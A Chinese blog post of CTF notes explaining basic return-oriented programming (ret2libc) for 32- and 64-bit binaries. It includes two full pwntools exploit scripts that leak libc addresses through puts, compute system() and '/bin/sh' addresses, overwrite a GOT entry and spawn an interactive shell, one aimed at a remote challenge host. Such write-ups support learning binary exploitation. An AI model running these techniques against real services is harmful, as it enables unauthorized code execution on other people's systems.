pwn栈溢出-基本ROP

0. 前言

接触ctf一年有余,作为一名ctf老菜鸟,没写过一篇ctf相关博客,确实不该。

本文介绍pwn入门操作————基本ROP,主要用于自我笔记,不包含详细原理细节。

1. pwn入门

必备知识:

  • python

  • 汇编

  • 链接

推荐书籍:

  • 《深入理解计算机》第二、三、六、七、八、九章

如果以上知识不牢固,相信我,你是根本pwn不动的。

2. 基本ROP

ROP(Return Oriented Programming),属于栈溢出类型中的基本操作。

之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件:
1.程序存在溢出,并且可以控制返回地址。
2.可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

更多介绍参见ctf-wiki

ROP中包含各种操作,如:ret2textret2shellcode等等。此处只介绍ret2libc————返回libc共享库,并执行system("/bin/sh")

2.1. 32位ret2libc

大致步骤如下:

  1. 发现溢出点,绕过代码中的关卡(可能没有)进行溢出。

  2. 通过溢出点,覆盖返回地址,执行write()puts()函数。即将plt表中的write\puts函数地址,覆盖在返回地址处。还需将调用write\puts函数后的返回地址,设置为漏洞函数地址,从而实现反复利用。

  3. 利用write\puts函数,打印got表中某个库函数运行在内存中的地址(如:read()函数)。即将got表库函数作为write\puts函数的参数。

  4. 通过某个libc库函数运行地址,推测出libc库版本(通过libc search网站,有些题目可能直接给出libc库)。然后,用该库函数的内存地址 - 该函数在libc库中的偏移地址 得到 libc库加载的内存地址。

  5. 得到libc库基地址后,便可以通过偏移得到system()函数和\bin\sh字符串的地址。

  6. 再次利用漏洞点,栈溢出执行system('\bin\sh'),拿到权限。

示例代码:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

elf = ELF('./babyrop')
libc = ELF('./libc-2.23.so')
r = remote('47.112.137.238', '13337')
# r = process('./babyrop')

puts_plt = elf.plt['puts']
read_got = elf.got['read']
ret_func_addr = 0x80487D0 # sub_80487D0()函数地址
test_str = 0x08048937

# 绕过
payload = '\x00' + '\xff' * 0x1f
r.send(payload)

# 覆盖sub_80487D0()函数返回地址,调用puts函数,打印got表中read函数的地址,然后又返回到sub_80487D0()函数
# ret_func_addr 为 puts() 函数结束后的返回地址,read_got 为 puts() 函数的参数
# 0xffffffff 为即将传进 sub_80487D0() 的参数
payload = 'a' * 0xeb + p32(puts_plt) + p32(ret_func_addr) + p32(read_got) + p32(0xffffffff)
r.send(payload)

# 获取到read()函数的地址,然后计算共享库基地址等等
r.recvuntil('Correct\n')
read_addr = u32(r.recv()[:4]) # read()函数实际地址
print hex(read_addr)
libc_base_addr = read_addr - libc.symbols['read'] # libc共享库地址
print 'libc: ', hex(libc_base_addr)
system_addr = libc_base_addr + libc.symbols['system'] # system()函数实际地址
print hex(system_addr)
binsh_addr = libc_base_addr + next(libc.search('/bin/sh'))
print hex(binsh_addr)

# 再次溢出,调用system('\bin\sh')
payload = 'a' * 0xeb + p32(system_addr) + p32(ret_func_addr) + p32(binsh_addr)
r.send(payload)

r.interactive()

2.2. 64位ret2libc

64位不同于32位,因为64位通过寄存器传参,需要利用pop rdi;ret等指令。因而,拼接payload时,调用32位函数参数在后,调用64位函数参数在前。

其它步骤大致相同。

示例如下:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher

context.log_level="debug"
pwn_file='./Emachine'

elf=ELF(pwn_file)
r = process(pwn_file)
# r = remote('120.27.3.220', '10010')

# 绕过
def func(num64):
    ret = num64
    for i in range(8):
        temp = 0xff << (8*i)
        a = num64 & temp
        a = a >> (8*i)
        # print(hex(temp), hex(a))
        if a>=54 and a<=63:
            a = a ^ 0xf
        elif (a>=64 and a<=77) or a == 79 or a == 84 or (a>=86 and a<=95):
            a = a ^ 0xe
        elif (a>=96 and a<=109) or a == 111 or a == 116 or (a>=118 and a<=127):
            a = a ^ 0xD
        else:
            a = a
        a = a << (8*i)
        ret = ret | a
    return ret

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets_plt = elf.plt['gets']

pop_rdi = 0x400c83 # pop rdi;ret 指令地址。通过 ROPgadgets --binary xxx 获取

# 输出got表中puts函数的地址:
# 1. 0x58覆盖返回地址之前的内容
# 2. pop_rdi将控制(rip)转移到pop rdi;ret处,实现64位系统传参;func()绕过题目的字符串处理
# 3. pop rdi 将got表中puts函数地址pop到rdi中
# 4. ret = pop rip 将控制转到plt中调用puts函数处。实现puts函数调用,参数为got表中puts函数项的地址
payload = '1' * 0x58 + p64(func(pop_rdi)) + p64(puts_got) + p64(puts_plt)

# 上一步puts函数执行结束,控制转到pop_rdi处。传参到rdi,然后调用gets函数,读取输入字符串(system函数地址)修改got表的puts函数项(got表可写)
payload += p64(pop_rdi) + p64(puts_got) + p64(gets_plt)

# 同上,读取输入字符串(\bin\sh)到got表的一处中。此处读取到其它可写区域(如bss)亦可
payload += p64(pop_rdi) + p64(puts_got + 8) + p64(gets_plt)

# 将上一步写到got表中的字符串首地址作为参数,通过plt表调用puts函数,但此时got表中的puts函数项已被修改成其它函数(system)的地址
payload += p64(pop_rdi) + p64(puts_got + 8) + p64(puts_plt)

r.sendline('1')
r.recvuntil('choice!\n')
r.sendline(payload)
r.recvuntil('\x83\x0c@\n') # 接收 \x83\x0c@\n 之前的输出

# print '---> ' + r.recv()
puts_addr = u64(r.recv(timeout=5)[:6].ljust(8, '\x00')) # 通过打印got表中puts函数项,拿到puts函数在内存中地址
log.success('puts() addr ---> ' + hex(puts_addr))

libc = LibcSearcher('puts', puts_addr) # 通过puts函数地址推出lib库版本
libc_addr = puts_addr - libc.dump('puts') # 通过puts函数在lib库中的偏移得到lib库在内存中的基址
system_addr = libc_addr + libc.dump('system') # 通过偏移计算system函数的内存地址

r.sendline(p64(system_addr)) # 输入system函数地址,此处为了覆盖got表中puts函数项
r.sendline('/bin/sh\x00')   # 输入system函数参数,写到 puts_got + 8 中

r.interactive()
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,076评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,658评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,732评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,493评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,591评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,598评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,601评论 3 415
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,348评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,797评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,114评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,278评论 1 344
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,953评论 5 339
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,585评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,202评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,442评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,180评论 2 367
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,139评论 2 352

推荐阅读更多精彩内容